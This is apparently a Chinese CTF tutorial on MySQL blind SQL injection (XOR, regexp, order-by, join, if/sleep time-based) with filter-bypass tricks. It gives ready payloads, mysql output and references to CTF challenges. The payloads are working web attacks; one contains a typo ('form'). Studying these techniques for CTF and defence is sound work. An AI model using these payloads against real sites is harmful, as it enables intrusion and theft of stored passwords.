前言
感觉现在的sql注入的题目实在是太多了,而且自己还不怎么会因此总结一波。
0x01 XOR注入
因为这种方法利用了异或符号,所以给他取名为xor注入。
1. 基本的注入payload
1 | admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23 |
我们来分析一下这个语句的格式:
首先我们先用^符号来分割开语句。
1 | admin' |
最前面和最后面的语句都固定为真(逻辑结果都为一),只有中间的语句不确定真假,那么整个payload的逻辑结果都由中间的语句决定,那么我们就可以用这个特性来判断盲注的结果了
1 | 0^1^0 --> 1 语句返回为真 |
这里的mid函数的使用方法:
正常的用法如下,对于str字符串,从pos作为索引值位置开始,返回截取len长度的子字符串
1 | MID(str,pos,len) |
例如:
1 | mysql> select mid('ljdd520',1,1); |
这里的用法是,from(1)表示从第一个位置开始截取剩下的字符串,for(1)表示从改位置起一次就截取一个字符
1 | mid((str)from(i)) |
例如下面的方式:
1 | mysql> select mid(('ljdd520')from(2)); |
这里可能还有疑问:为什么这里不加for可以正常的运行呢?
1 | 因为这里的ascii函数是默认取字符串中第一个字符的ascii码做为输出 |
例如:
1 | mysql> select ascii('ljdd520'); |
2. 使用场景
1 | 过滤了关键字:and、or |
如果这里过滤了=号的话,还可以用>或者<代替(大小的比较)
1 | payload:admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23 |
如果这里过滤了%号和注释符的话,那就把最后一个引号去掉就可以和后面的引号匹配了 ‘1’=’1
1 | mysql> select password from users where id='1'^(ascii(mid((password)from(1)for(1)))<>ascii(6))^'1'='1'; |
0x02 regexp注入
1. 基本注入payload
1 | select (select语句) regexp '正则' |
下面举一个例子来说明一下用法:
首先正常的查询语句是这样的:
select password from users where id=1
1 | mysql> select password from users where id=1; |
接着进行正则表达式注入,若匹配则返回1,不匹配返回0。
1 | mysql> select (select password from users where id=1) regexp '^5'; |
这里的^表示pattern的开头
接下来只要一步步的判断就可以了
1 | mysql> select (select password from users where id=1) regexp '^59'; |
或者regex这个关键字还可以代替where条件里的=号
1 | mysql> select password from users where password regexp '^59'; |
2. 使用场景
1 | 过滤了=、in、like |
这里的^如果也被过滤了的话,可以使用$来从从后面进行匹配。
1 | mysql> select (select password from users where id=1) regexp '0f$'; |
详细的正则注入教程可以看这里
0x03 order by盲注
1. 基本注入payload
1 | select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3 |
这里是order by的用法:
1 | order by 'number' (asc/desc) |
即对某一列进行排序,默认是升序排列,即后面默认跟上asc,那么上面一句就相当于:
1 | select * from users order by 3 asc |
我们在注入时经常会使用order by来判断数据库的列数,那我们这里使用他配合union select来进行注入。
2. 原理分析
我们现在的目的是要注出liyu用户的password值。
1 | mysql> select *from users where id='2' union select 1,2,3,4; |
接着我们在语句后面加上order by 4,即对第四列进行升序排序(按照ascii码表)
1 | mysql> select *from users where id='2' union select 1,2,3,4 order by 4 desc; |
这里的password列中4是我们union select里面的第四列,这里就把'4'替换为'1'。
1 | mysql> select *from users where id='2' union select 1,2,3,'1' order by 4 desc; |
我们可以看到liyu用户跑到第一行来了,所以这里经常用来判断由返回差异的注入,且返回只有一列的输出,根据差异来判断我们的盲注值是否正确。
3. 使用场景
1 | 过滤了列名 |
0x04 实例讲解
1. ascii盲注来自skctf login3的一道题目:
题目链接:http://123.206.31.85:49167/
这里最后是要注入出admin的password,过程就不详细讲解了,直接给出payload:
1 | username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23 |
下面是脚本:
1 | # -*- coding:UTF-8 -*- |
2. regex 盲注是来自实验吧的一道注入题目:
题目链接:http://ctf5.shiyanbar.com/web/earnest/index.php
这道题只有一个id作为输入点,id存在注入点,但是过滤了很多东西,前面的步骤就不详细说了,去看p牛的详细解答看到这里,过滤了^,但是没过滤$,所以xor注入就无效了,这边选择regexp注入使用$符号从后往前注入。
1 | 0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'=' |
下面是另外一种方法:
1 | # -*- coding:UTF-8 -*- |
0x04 其他的一些小tips
1.一些等效替代的函数(特殊符号)
字符:
1 | 空格 <--> %20、%0a、%0b、/**/、 @tmp:=test |
函数:
1 | 字符串截断函数:left()、mid()、substr()、substring() |
2. 一次性报所有表明和字段名
1 | (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x) |
3. Subquery returns more than 1 row的解决方法
产生这个问题的原因是子查询多于一列,也就是显示为只有一列的情况下,没有使用limit语句限制,就会产生这个问题,即limt 0,1
如果我们这里的逗号被过滤了咋办?那就使用offset关键字:
1 | limit 1 offset 1 |
如果我们这里的limit被过滤了咋办?那就试试下面的几种方法:
1 | (1) group_concat(使用的最多) |
4. join注入
payload:
1 | 1' union select * from (select 1) a join (select 2) b %23 |
优势:过滤了逗号的情况下使用
下面的payload(别的博客处摘抄来的)适用于过滤了逗号和字段名的情况下使用
1 | union all |
5. 带!的注入
直接看下面的payload,适用于and、or、^被过滤的情况下使用,有时候可能也会使用到,但是具体的原理不是很明白,大家可以自行google
1 | uname='!=!!(ascii(mid((password)form(1)))==99)!=!!'1&passwd=dddd |
6. if盲注(合理利用条件)
if盲注的基本格式:
1 | if(条件,条件为真执行的语句,条件为假执行的语句) |
例如:
1 | admin' if(ascii(mid(user(),1,1))=100,sleep(5),1) |
结果如下:
1 | mysql> select username from users where username='liyu' and if(ascii(mid(user(),1,1))=114,sleep(5),1); |
用好if盲注的关键是条件的输入,有一道BCTF的注入题的wp用的就是if盲注
wp链接:https://www.kingkk.com/2018/04/bctf2018-love-q/
写博客的这位大佬巧妙利用了pow函数数值溢出的特性,使得经过if判断后的条件会报错,但是不执行该语句时语法上是没问题的
原理如下:
1 | mysql> select if(1,1,pow(2,22222222222)); |